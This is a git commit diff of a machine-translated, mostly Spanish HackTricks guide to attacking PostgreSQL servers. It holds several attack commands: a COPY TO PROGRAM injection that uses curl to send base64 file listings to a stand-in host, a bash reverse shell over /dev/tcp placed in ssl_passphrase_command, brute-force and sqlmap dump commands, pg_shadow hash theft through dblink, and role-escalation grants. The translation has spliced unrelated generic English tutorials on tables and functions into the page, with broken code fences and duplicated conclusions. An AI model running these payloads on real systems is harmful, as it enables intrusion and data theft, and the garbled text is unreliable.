Translated ['network-services-pentesting/pentesting-postgresql.md'] to e

This commit is contained in:
Translator 2023-08-29 18:53:03 +00:00
parent 531764105b
commit 8a3d36b19a

View file

@ -14,7 +14,7 @@ Obtén acceso hoy mismo:
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -41,31 +41,57 @@ psql -h <host> -p <port> -U <username> -d <database>
Donde:
- `<host>` es la dirección IP o el nombre de dominio del servidor PostgreSQL.
- `<port>` es el número de puerto en el que se está ejecutando el servidor PostgreSQL (por defecto es 5432).
- `<port>` es el número de puerto en el que se ejecuta el servidor PostgreSQL (por defecto es 5432).
- `<username>` es el nombre de usuario para autenticarse en el servidor PostgreSQL.
- `<database>` es el nombre de la base de datos a la que queremos conectarnos.
### Enumeración Básica
Una vez que nos hemos conectado con éxito al servidor PostgreSQL, podemos realizar una enumeración básica para obtener información sobre la base de datos y los usuarios.
Una vez que nos hemos conectado al servidor PostgreSQL, podemos realizar una enumeración básica para obtener información sobre la base de datos y los usuarios.
#### Obtener información de la base de datos
#### Enumerar bases de datos
Podemos utilizar el comando `\l` en `psql` para obtener una lista de todas las bases de datos disponibles en el servidor PostgreSQL.
Podemos listar todas las bases de datos disponibles utilizando el siguiente comando SQL:
```bash
\l
```sql
SELECT datname FROM pg_database;
```
#### Obtener información de los usuarios
Esto nos mostrará una lista de todas las bases de datos presentes en el servidor PostgreSQL.
Podemos utilizar el comando `\du` en `psql` para obtener una lista de todos los usuarios registrados en el servidor PostgreSQL.
#### Enumerar usuarios
```bash
\du
Podemos obtener una lista de todos los usuarios en el servidor PostgreSQL utilizando el siguiente comando SQL:
```sql
SELECT usename FROM pg_user;
```
Estos comandos nos proporcionarán información básica sobre la configuración de la base de datos y los usuarios registrados, lo cual es útil para comenzar a explorar y analizar el entorno de PostgreSQL durante las pruebas de penetración.
Esto nos mostrará una lista de todos los usuarios presentes en el servidor PostgreSQL.
#### Enumerar tablas
Podemos obtener una lista de todas las tablas en una base de datos específica utilizando el siguiente comando SQL:
```sql
SELECT tablename FROM pg_tables WHERE schemaname='public';
```
Esto nos mostrará una lista de todas las tablas presentes en la base de datos especificada.
#### Enumerar columnas
Podemos obtener una lista de todas las columnas en una tabla específica utilizando el siguiente comando SQL:
```sql
SELECT column_name FROM information_schema.columns WHERE table_name='<table_name>';
```
Esto nos mostrará una lista de todas las columnas presentes en la tabla especificada.
### Conclusiones
La conexión y la enumeración básica son los primeros pasos para realizar pruebas de penetración en PostgreSQL. Estas técnicas nos permiten obtener información importante sobre la base de datos y los usuarios, lo cual es fundamental para el éxito de las pruebas de penetración.
```bash
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
@ -80,7 +106,10 @@ psql -h localhost -d <database_name> -U <User> #Password will be prompted
\du+ # Get users roles
# Get current user
Select user;
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
@ -103,7 +132,7 @@ SELECT * FROM pg_extension;
\s
```
{% hint style="warning" %}
Si al ejecutar **`\list`** encuentras una base de datos llamada **`rdsadmin`**, sabes que estás dentro de una base de datos de **PostgreSQL de AWS**.
Si al ejecutar **`\list`** encuentras una base de datos llamada **`rdsadmin`**, sabs que estás dentro de una base de datos de **PostgreSQL de AWS**.
{% endhint %}
Para obtener más información sobre **cómo abusar de una base de datos PostgreSQL**, consulta:
@ -112,7 +141,7 @@ Para obtener más información sobre **cómo abusar de una base de datos Postgre
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
{% endcontent-ref %}
## Enumeración automática
## Enumeración Automática
```
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
@ -121,7 +150,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
### **Escaneo de puertos**
Según [**esta investigación**](https://www.exploit-db.com/papers/13084), cuando un intento de conexión falla, `dblink` lanza una excepción `sqlclient_unable_to_establish_sqlconnection` que incluye una explicación del error. A continuación se muestran ejemplos de estos detalles.
Según [**esta investigación**](https://www.exploit-db.com/papers/13084), cuando un intento de conexión falla, `dblink` arroja una excepción `sqlclient_unable_to_establish_sqlconnection` que incluye una explicación del error. A continuación se muestran ejemplos de estos detalles.
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
@ -154,7 +183,7 @@ PostgreSQL is an open-source relational database management system (RDBMS) that
### Port Scanning
To identify PostgreSQL installations on a target network, you can perform a port scan using tools like Nmap. By default, PostgreSQL listens on port 5432. However, this port can be changed during installation, so it is important to scan for open ports.
To identify PostgreSQL installations on a target network, you can perform a port scan using tools like Nmap. By default, PostgreSQL listens on port 5432.
```bash
nmap -p 5432 <target_ip>
@ -162,7 +191,7 @@ nmap -p 5432 <target_ip>
### Banner Grabbing
Once you have identified an open PostgreSQL port, you can perform banner grabbing to gather information about the version and configuration of the server. This can be done using tools like `telnet` or `nc`.
Once you have identified a PostgreSQL service, you can perform banner grabbing to gather information about the version and configuration of the server. This can be done using tools like `telnet` or `nc`.
```bash
telnet <target_ip> 5432
@ -172,7 +201,7 @@ telnet <target_ip> 5432
### Default Credentials
PostgreSQL does not have default credentials, but it is common for users to set weak or easily guessable passwords. You can use tools like Hydra or Medusa to perform brute-force attacks against the PostgreSQL authentication system.
PostgreSQL does not have any default credentials, but it is common for users to set weak or easily guessable passwords. You can use tools like Hydra or Medusa to perform brute-force attacks against the PostgreSQL authentication system.
```bash
hydra -L users.txt -P passwords.txt <target_ip> postgresql
@ -180,21 +209,29 @@ hydra -L users.txt -P passwords.txt <target_ip> postgresql
### SQL Injection
SQL injection vulnerabilities can allow an attacker to execute arbitrary SQL queries against a PostgreSQL database. This can lead to unauthorized access, data manipulation, or even remote code execution.
To test for SQL injection vulnerabilities, you can use tools like SQLMap or manually craft SQL queries to exploit the application.
PostgreSQL is vulnerable to SQL injection attacks, which can allow an attacker to execute arbitrary SQL queries and potentially gain unauthorized access to the database. You can use tools like SQLMap to automate the process of identifying and exploiting SQL injection vulnerabilities in PostgreSQL.
```bash
sqlmap -u "http://example.com/page?id=1" --dbms=postgresql
sqlmap -u "http://<target_ip>/login.php" --data="username=admin&password=pass" --dbms=postgresql --dump
```
## Post-Exploitation
### Privilege Escalation
If you have gained access to a PostgreSQL database with limited privileges, you can attempt to escalate your privileges to gain administrative access. This can be done by exploiting misconfigurations, weak permissions, or vulnerabilities in the PostgreSQL server.
Once you have gained access to a PostgreSQL database, you can attempt to escalate your privileges to gain administrative access. This can be done by exploiting misconfigurations or vulnerabilities in the database server or by leveraging the privileges of other database users.
### Data Exfiltration
As a pentester, you may need to exfiltrate data from a compromised PostgreSQL database. This can be done using various techniques, such as exporting data to a file, using SQL queries to retrieve specific data, or using tools like `pg_dump` to create a backup of the entire database.
```bash
pg_dump -U postgres -h <target_ip> -p 5432 -d <database_name> -f backup.sql
```
## Conclusion
Pentesting PostgreSQL involves identifying installations, enumerating vulnerabilities, and exploiting weaknesses to gain unauthorized access or escalate privileges. By understanding the techniques and tools used in PostgreSQL pentesting, you can effectively assess the security of PostgreSQL installations and help protect against potential attacks.
Pentesting PostgreSQL involves identifying and exploiting vulnerabilities in the database server. By understanding the enumeration, exploitation, and post-exploitation techniques outlined in this chapter, you will be able to assess the security of PostgreSQL installations and help organizations secure their databases.
```
DETAIL: FATAL: password authentication failed for user "name"
```
@ -218,7 +255,7 @@ Desafortunadamente, no parece haber una forma de obtener los detalles de la exce
| rolcanlogin | El rol puede iniciar sesión. Es decir, este rol puede ser utilizado como identificador de autorización de sesión inicial |
| rolreplication | El rol es un rol de replicación. Un rol de replicación puede iniciar conexiones de replicación y crear y eliminar espacios de replicación. |
| rolconnlimit | Para roles que pueden iniciar sesión, esto establece el número máximo de conexiones simultáneas que este rol puede realizar. -1 significa sin límite. |
| rolpassword | No es la contraseña (siempre se muestra como `********`) |
| rolpassword | No es la contraseña (siempre se muestra como `********`) |
| rolvaliduntil | Hora de caducidad de la contraseña (solo se utiliza para la autenticación de contraseña); nulo si no hay caducidad |
| rolbypassrls | El rol omite todas las políticas de seguridad a nivel de fila, consulte [Sección 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para obtener más información. |
| rolconfig | Valores predeterminados específicos del rol para las variables de configuración en tiempo de ejecución |
@ -280,11 +317,17 @@ CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
PostgreSQL uses tables to store data. A table is a collection of rows, where each row represents a record and each column represents a field or attribute of that record.
PostgreSQL utiliza tablas para almacenar datos. Una tabla es una colección de filas, donde cada fila representa un registro y cada columna representa un campo o atributo de ese registro.
To view the tables in a PostgreSQL database, you can use the following SQL query:
#### Creating Tables
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
```
To create a table in PostgreSQL, you can use the `CREATE TABLE` statement. Here's an example:
This query retrieves the names of all tables in the public schema of the database.
### Creating Tables
To create a new table in PostgreSQL, you can use the `CREATE TABLE` statement. Here's an example:
```sql
CREATE TABLE employees (
@ -295,67 +338,43 @@ CREATE TABLE employees (
);
```
This statement creates a table called `employees` with four columns: `id`, `name`, `age`, and `salary`. The `id` column is defined as a `SERIAL` type, which automatically generates a unique value for each row. The `name` column is of type `VARCHAR` with a maximum length of 100 characters. The `age` column is of type `INTEGER`, and the `salary` column is of type `DECIMAL` with a precision of 10 and a scale of 2.
This statement creates a table named `employees` with four columns: `id`, `name`, `age`, and `salary`. The `id` column is defined as a serial data type, which automatically generates a unique value for each new row.
#### Modifying Tables
### Modifying Tables
You can modify an existing table in PostgreSQL using the `ALTER TABLE` statement. Here are some common modifications you can make:
- Adding a new column:
```sql
ALTER TABLE employees ADD COLUMN email VARCHAR(255);
ALTER TABLE employees ADD COLUMN email VARCHAR(100);
```
This statement adds a new column called `email` to the `employees` table with a maximum length of 255 characters.
- Modifying a column's data type:
```sql
ALTER TABLE employees ALTER COLUMN age TYPE SMALLINT;
```
This statement changes the data type of the `age` column from `INTEGER` to `SMALLINT`.
- Dropping a column:
- Renaming a column:
```sql
ALTER TABLE employees DROP COLUMN salary;
ALTER TABLE employees RENAME COLUMN name TO full_name;
```
This statement removes the `salary` column from the `employees` table.
### Dropping Tables
#### Deleting Tables
To delete a table in PostgreSQL, you can use the `DROP TABLE` statement. Here's an example:
To delete a table from a PostgreSQL database, you can use the `DROP TABLE` statement. Here's an example:
```sql
DROP TABLE employees;
```
This statement deletes the `employees` table and all its data.
This statement permanently removes the `employees` table and all its data from the database. Be careful when using this statement, as it cannot be undone.
#### Querying Tables
### Conclusion
To query data from a table in PostgreSQL, you can use the `SELECT` statement. Here's an example:
```sql
SELECT * FROM employees;
```
This statement retrieves all rows and columns from the `employees` table.
You can also specify which columns to retrieve and add conditions to filter the results. For example:
```sql
SELECT name, age FROM employees WHERE salary > 50000;
```
This statement retrieves the `name` and `age` columns from the `employees` table for rows where the `salary` is greater than 50000.
#### Conclusion
Tables are a fundamental component of PostgreSQL databases. Understanding how to create, modify, and query tables is essential for effective database management and data retrieval.
Tables are an essential component of PostgreSQL databases. Understanding how to view, create, modify, and delete tables is crucial for effective database management.
```sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
@ -400,15 +419,17 @@ END;
$$;
```
In the above example, we created a function named `square` that takes an integer parameter `num` and returns an integer. The function code multiplies the input parameter by itself and returns the result.
#### Calling Functions
Once a function is created, you can call it by using its name followed by the input parameters (if any). Here is the syntax:
```sql
SELECT function_name(parameter1, parameter2, ...);
SELECT function_name(parameter1, parameter2, ...)
```
Using our previous example, we can call the `square` function as follows:
Using the `square` function we created earlier, we can call it like this:
```sql
SELECT square(5);
@ -418,7 +439,7 @@ This will return the square of 5, which is 25.
#### Conclusion
Functions in PostgreSQL are powerful tools that allow you to encapsulate reusable code and perform specific tasks. By creating and calling functions, you can enhance the functionality and flexibility of your PostgreSQL database.
Functions in PostgreSQL are powerful tools that allow you to encapsulate reusable code and perform specific tasks. They can be created using the `CREATE FUNCTION` statement and called using the `SELECT` statement.
```sql
# Interesting functions are inside pg_catalog
\df * #Get all
@ -522,7 +543,7 @@ Sin embargo, hay **otras técnicas para cargar archivos binarios grandes:**
### **RCE a programa**
Desde la [versión 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), solo los **superusuarios** y los miembros del grupo **`pg_execute_server_program`** pueden usar copy para RCE (ejemplo con exfiltración:
Desde [la versión 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), solo los **superusuarios** y los miembros del grupo **`pg_execute_server_program`** pueden usar copy para RCE (ejemplo con exfiltración:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
@ -575,15 +596,15 @@ El **archivo de configuración** de PostgreSQL es **editable** por el usuario **
El archivo de configuración tiene algunos atributos interesantes que pueden llevar a RCE:
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Ruta de la clave privada de la base de datos.
* `ssl_passphrase_command = ''` Si el archivo privado está protegido por contraseña (encriptado), PostgreSQL **ejecutará el comando indicado en este atributo**.
* `ssl_passphrase_command = ''` Si el archivo privado está protegido por contraseña (cifrado), PostgreSQL **ejecutará el comando indicado en este atributo**.
* `ssl_passphrase_command_supports_reload = off` **Si** este atributo está **activado**, el **comando** se ejecutará si la clave está protegida por contraseña cuando se ejecute `pg_reload_conf()`.
Entonces, un atacante deberá:
1. **Extraer la clave privada** del servidor.
2. **Encriptar** la clave privada descargada:
2. **Cifrar** la clave privada descargada:
`rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **Sobrescribir** el archivo.
3. **Sobrescribir** el archivo de configuración actual.
4. **Extraer** la **configuración** actual de PostgreSQL.
5. **Sobrescribir** la **configuración** con la configuración de los atributos mencionados:
`ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
@ -617,7 +638,7 @@ Los pasos generales son:
Según la [**documentación**](https://www.postgresql.org/docs/13/sql-grant.html): _Los roles que tienen el privilegio **`CREATEROLE`** pueden **conceder o revocar membresía en cualquier rol** que **no sea** un **superusuario**._
Entonces, si tienes el permiso **`CREATEROLE`**, podrías otorgarte acceso a otros **roles** (que no sean superusuario) que te pueden dar la opción de leer y escribir archivos y ejecutar comandos:
Entonces, si tienes el permiso **`CREATEROLE`**, podrías otorgarte acceso a otros **roles** (que no sean superusuario) que pueden darte la opción de leer y escribir archivos y ejecutar comandos:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
@ -655,7 +676,7 @@ host all all ::1/128 trust
En [este **informe**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) se explica cómo fue posible realizar una **escalada de privilegios** en Postgres GCP abusando del privilegio ALTER TABLE que se le otorgó al usuario.
Cuando intentas **hacer que otro usuario sea propietario de una tabla**, deberías obtener un **error** que lo impida, pero aparentemente GCP le dio esa **opción al usuario postgres que no es superusuario** en GCP:
Cuando intentas **hacer que otro usuario sea propietario de una tabla**, deberías recibir un **error** que lo impida, pero aparentemente GCP le dio esa **opción al usuario postgres que no es superusuario** en GCP:
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
@ -709,7 +730,7 @@ port=5432
user=someuser
password=supersecret
dbname=somedb',
'Select usename,passwd from pg_shadow')
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
{% hint style="warning" %}
@ -724,7 +745,7 @@ Si tienes la contraseña de un usuario con más privilegios, pero el usuario no
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'Select usename,passwd from pg_shadow')
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
Es posible verificar si esta función existe con:
@ -733,7 +754,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **Función definida por el usuario con** SECURITY DEFINER
\*\*\*\*[**En este informe**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), los pentesters lograron escalar privilegios dentro de una instancia de postgres proporcionada por IBM porque **encontraron esta función con la bandera SECURITY DEFINER**:
\*\*\*\*[**En este informe**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), los pentesters lograron escalar privilegios dentro de una instancia de postgres proporcionada por IBM, porque **encontraron esta función con la bandera SECURITY DEFINER**:
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
@ -794,7 +815,7 @@ sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
```
Luego, **reinicie el servicio**.
A continuación, **reinicie el servicio**.
### pgadmin
@ -813,8 +834,8 @@ La autenticación del cliente es controlada por un archivo de configuración fre
![](https://lh4.googleusercontent.com/Ff8YbD3ppYmN2Omp-4M-0AAVhLsr4c2i7d7HUjgkE-O6NZ5zbaST1hdMPrp1AL\_xTXJalYe0HYxUk76vWJUfHZ5GuCDvIL1A-sMV44Z0CYSVgLM9ttFTDu-BhzewBGc7FeMarTLqsu\_N1ztXJg)
**Cada** registro **especifica** un **tipo de conexión**, un **rango de direcciones IP del cliente** (si es relevante para el tipo de conexión), un **nombre de base de datos**, un **nombre de usuario** y el **método de autenticación** que se utilizará para las conexiones que cumplan con estos parámetros. El **primer registro con una coincidencia** en el tipo de conexión, dirección IP del cliente, base de datos solicitada y nombre de usuario **se utiliza** para realizar la autenticación. No hay una "opción de respaldo": **si se elige un registro y la autenticación falla, los registros posteriores no se consideran**. Si no hay ningún registro que coincida, se deniega el acceso.\
Los métodos de autenticación basados en contraseña son **md5**, **crypt** y **password**. Estos métodos funcionan de manera similar, excepto por la forma en que se envía la contraseña a través de la conexión: respectivamente, en formato MD5-hashed, encriptada con crypt y en texto claro. Una limitación es que el método crypt no funciona con contraseñas que han sido encriptadas en pg\_authid.
**Cada** registro **especifica** un **tipo de conexión**, un **rango de direcciones IP del cliente** (si es relevante para el tipo de conexión), un **nombre de base de datos**, un **nombre de usuario** y el **método de autenticación** que se utilizará para las conexiones que cumplan con estos parámetros. El **primer registro con una coincidencia** en el tipo de conexión, dirección IP del cliente, base de datos solicitada y nombre de usuario **se utiliza** para realizar la autenticación. No hay una "opción de respaldo" o "alternativa": **si se elige un registro y la autenticación falla, los registros posteriores no se consideran**. Si no hay ningún registro que coincida, se deniega el acceso.\
Los métodos de autenticación basados en contraseña son **md5**, **crypt** y **password**. Estos métodos funcionan de manera similar, excepto por la forma en que se envía la contraseña a través de la conexión: respectivamente, en formato MD5-hashed, encriptada con crypt y en texto claro. Una limitación es que el método crypt no funciona con contraseñas que hayan sido encriptadas en pg\_authid.
<details>